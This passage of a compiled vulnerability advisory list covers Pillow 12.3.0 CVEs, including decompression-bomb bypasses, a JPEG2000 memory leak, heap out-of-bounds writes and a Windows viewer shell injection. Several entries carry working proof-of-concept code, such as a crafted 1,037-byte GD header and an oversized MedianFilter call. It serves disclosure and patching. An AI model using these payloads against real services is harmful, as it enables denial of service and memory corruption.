[https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-pg7v-jwj7-p798) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()` BIT-pillow-2026-55380 / [CVE-2026-55380](https://nvd.nist.gov/vuln/detail/CVE-2026-55380) / [GHSA-phj9-mv4w-65pm](https://github.com/advisories/GHSA-phj9-mv4w-65pm) / PYSEC-2026-2256 <details> <summary>More information</summary> #### Details ##### Description `PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection. **Vulnerable code (`PIL/GdImageFile.py` lines 50–61):** ```python def _open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self._mode = "P" self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO _decompression_bomb_check() call here ← ... self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")] ``` When `load()` is subsequently called on the returned image object: ```python load() → load_prepare() → Image.core.new("P", (65535, 65535)) ##### ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this ``` **Dimension arithmetic:** | Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = **4,294,836,225** | | `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) | | **Overshoot ratio** | **24× above DecompressionBombError threshold** | | Memory at max dimensions | **≈ 4.3 GB** (palette-mode: 1 byte/pixel) | | Minimum attack file size | **1,037 bytes** (header only — no pixel data needed) | **Comparison with safe sibling plugin (`WalImageFile`):** `WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix: ```python ##### PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self._size = i32(header, 32), i32(header, 36) Image._decompression_bomb_check(self.size) # ← present ``` `GdImageFile` was never updated to match, leaving a gap in protection. ##### Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image ##### Build minimal 1037-byte GD 2.x palette-mode header: ##### sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height true_color = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colors_used = b"\x00\x00" palette_data = b"\x00" * 1024 header = sig + w + h + true_color + tindex + colors_used + palette_data assert len(header) == 1037 ##### Confirm: standard Image.open() path BLOCKS this size try: Image._decompression_bomb_check((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}") ##### Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked") ##### Trigger load_prepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted") print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only") ``` **Expected output:** ``` [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No _decompression_bomb_check called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted [MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only ``` **Verified live on Pillow 12.2.0.** **Two attack paths:** | Path | File size | Effect | |---|---|---| | Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike | | Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime | For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file. **Real-world scenario:** ```python from PIL import GdImageFile ##### Application accepts user-uploaded .gd files img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation ``` ##### Impact - **Availability:** HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - **Confidentiality:** None - **Integrity:** None - **Authentication required:** No — any public endpoint accepting image uploads is affected - **User interaction:** None Any service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm](https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55380](https://nvd.nist.gov/vuln/detail/CVE-2026-55380) - [https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675](https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-phj9-mv4w-65pm) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service BIT-pillow-2026-59204 / [CVE-2026-59204](https://nvd.nist.gov/vuln/detail/CVE-2026-59204) / [GHSA-vjc4-5qp5-m44j](https://github.com/advisories/GHSA-vjc4-5qp5-m44j) / PYSEC-2026-3496 <details> <summary>More information</summary> #### Details ##### Summary `src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state->buffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption. ##### Details - Location: `src/libImaging/Jpeg2KDecode.c:853` - Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state->buffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding. ##### PoC The attached helper script and testcase were used: [exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip) Generate the testcase: ```bash pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \ --size 3664 --tile 1832 ``` Expected geometry from the helper: - image size: `3664 x 3664` - mode: `RGBA` - tile size: `1832 x 1832` (`2x2` tiles) - `image_bytes=53699584` - uncapped RSS observed: - vulnerable build: `maxrss_kb=180264` - fixed comparison build: `maxrss_kb=138404` Load it with the current vulnerable build: ```bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 ``` Load it again under a 160 MB address-space cap: ```bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160 ``` ##### Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j](https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59204](https://nvd.nist.gov/vuln/detail/CVE-2026-59204) - [https://github.com/python-pillow/Pillow/pull/9704](https://github.com/python-pillow/Pillow/pull/9704) - [https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca](https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vjc4-5qp5-m44j) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand` BIT-pillow-2026-59197 / [CVE-2026-59197](https://nvd.nist.gov/vuln/detail/CVE-2026-59197) / [GHSA-xj96-63gp-2gmr](https://github.com/advisories/GHSA-xj96-63gp-2gmr) / PYSEC-2026-3454 <details> <summary>More information</summary> #### Details ##### Summary Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size. Minimal public API trigger: ```python from PIL import Image, ImageFilter im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ``` `ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)` before rank-filter size validation. With `size = 4294967295`, the expansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes the output dimensions with unchecked signed `int` arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation. This is reachable through documented public classes (`RankFilter`, `MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom Python object is needed. ##### Details Current `src/PIL/ImageFilter.py`: ```python class RankFilter(Filter): def filter(self, image): if image.mode == "P": msg = "cannot filter palette images" raise ValueError(msg) image = image.expand(self.size // 2, self.size // 2) return image.rankfilter(self.size, self.rank) ``` The `expand()` call is made before `image.rankfilter(...)`. Current `src/libImaging/Filter.c:ImagingExpand()` does not check output-size overflow: ```c if (xmargin < 0 && ymargin < 0) { return (Imaging)ImagingError_ValueError("bad kernel size"); } imOut = ImagingNewDirty( imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin ); ``` For a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size wraps to `1x1` on tested builds. The following loop still uses the huge margin: ```c for (x = 0; x < xmargin; x++) { imOut->image[yout][x] = imIn->image[yin][0]; } ``` `src/libImaging/RankFilter.c` does contain checks that would reject this size: ```c if (!(size & 1)) { return (Imaging)ImagingError_ValueError("bad filter size"); } if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) { return (Imaging)ImagingError_ValueError("filter size too large"); } ``` But those checks are reached only after `RankFilter.filter()` has already called `image.expand(...)`. Mode `"L"` produces 1-byte OOB stores. Modes `"I"` and `"F"` produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write. ##### PoC Minimal ASAN crash PoC: ```python from PIL import Image, ImageFilter im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1 ImagingExpand /out/src/src/libImaging/Filter.c:99 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 1-byte allocation ``` 4-byte write variant with source pixel loaded from normal image bytes: ```python from io import BytesIO from PIL import Image, ImageFilter SIZE = 4294967295 PIXEL = 0x41424344 src = BytesIO() Image.new("I", (3, 3), PIXEL).save(src, format="TIFF") im = Image.open(BytesIO(src.getvalue())) im.load() assert im.mode == "I" assert im.getpixel((0, 0)) == PIXEL im.filter(ImageFilter.MedianFilter(SIZE)) ``` Observed ASAN signature: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 4 ImagingExpand /out/src/src/libImaging/Filter.c:101 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 4-byte allocation ``` Version checks: ```text Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public validation order and unchecked ImagingExpand arithmetic upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected ``` ##### Impact It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes. Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode `"I"` images. ##### Possible fix Validate the rank-filter size before calling `image.expand(...)`, and harden `ImagingExpand()` against invalid margins and overflow: ```c if (xmargin < 0 || ymargin < 0) { return (Imaging)ImagingError_ValueError("bad kernel size"); } if (xmargin > (INT_MAX - imIn->xsize) / 2 || ymargin > (INT_MAX - imIn->ysize) / 2) { return (Imaging)ImagingError_ValueError("bad kernel size"); } ``` #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr](https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59197](https://nvd.nist.gov/vuln/detail/CVE-2026-59197) - [https://github.com/python-pillow/Pillow/pull/9695](https://github.com/python-pillow/Pillow/pull/9695) - [https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1](https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xj96-63gp-2gmr) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### BIT-pillow-2026-54059 / [CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059) / [GHSA-8v84-f9pq-wr9x](https://github.com/advisories/GHSA-8v84-f9pq-wr9x) / PYSEC-2026-2253 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) - [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x](https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2253) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-54060 / [CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060) / [GHSA-5x94-69rx-g8h2](https://github.com/advisories/GHSA-5x94-69rx-g8h2) / PYSEC-2026-2254 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) - [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2](https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2254) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-55379 / [CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379) / [GHSA-45hq-cxwh-f6vc](https://github.com/advisories/GHSA-45hq-cxwh-f6vc) / PYSEC-2026-2255 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) - [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc](https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2255) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-55380 / [CVE-2026-55380](https://nvd.nist.gov/vuln/detail/CVE-2026-55380) / [GHSA-phj9-mv4w-65pm](https://github.com/advisories/GHSA-phj9-mv4w-65pm) / PYSEC-2026-2256 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) - [https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675](https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm](https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2256) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-55798 / [CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798) / [GHSA-4x4j-2g7c-83w6](https://github.com/advisories/GHSA-4x4j-2g7c-83w6) / PYSEC-2026-2257 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0. #### Severity - CVSS Score: 4.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L` #### References - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) - [https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a](https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a) - [https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4](https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4) - [https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f](https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6](https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2257) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-59199 / [CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199) / [GHSA-6r8x-57c9-28j4](https://github.com/advisories/GHSA-6r8x-57c9-28j4) / PYSEC-2026-3451 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) - [https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b](https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b) - [https://github.com/python-pillow/Pillow/pull/9703](https://github.com/python-pillow/Pillow/pull/9703) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4](https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3451) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-59203 / [CVE-2026-59203](https://nvd.nist.gov/vuln/detail/CVE-2026-59203) / [GHSA-pg7v-jwj7-p798](https://github.com/advisories/GHSA-pg7v-jwj7-p798) / PYSEC-2026-3452 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. From 12.0.0 through 12.2.0, Pillow's EPS parser in PIL/EpsImagePlugin.py accepts a negative byte count in the %%BeginBinary directive, allowing a crafted EPS file to cause Image.open() to seek backwards to the same directive and parse it repeatedly in an infinite loop. This issue is fixed in version 12.3.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) - [https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83](https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83) - [https://github.com/python-pillow/Pillow/pull/9708](https://github.com/python-pillow/Pillow/pull/9708) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798](https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3452) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-59205 / [CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205) / [GHSA-9hw9-ch79-4vh6](https://github.com/advisories/GHSA-9hw9-ch79-4vh6) / PYSEC-2026-3453 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) - [https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721](https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721) - [https://github.com/python-pillow/Pillow/pull/9715](https://github.com/python-pillow/Pillow/pull/9715) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6](https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3453) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-59197 / [CVE-2026-59197](https://nvd.nist.gov/vuln/detail/CVE-2026-59197) / [GHSA-xj96-63gp-2gmr](https://github.com/advisories/GHSA-xj96-63gp-2gmr) / PYSEC-2026-3454 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0. #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) - [https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1](https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1) - [https://github.com/python-pillow/Pillow/pull/9695](https://github.com/python-pillow/Pillow/pull/9695) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr](https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3454) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files) BIT-pillow-2026-54058 / [CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) / [GHSA-62p4-gmf7-7g93](https://github.com/advisories/GHSA-62p4-gmf7-7g93) / PYSEC-2026-3493 <details> 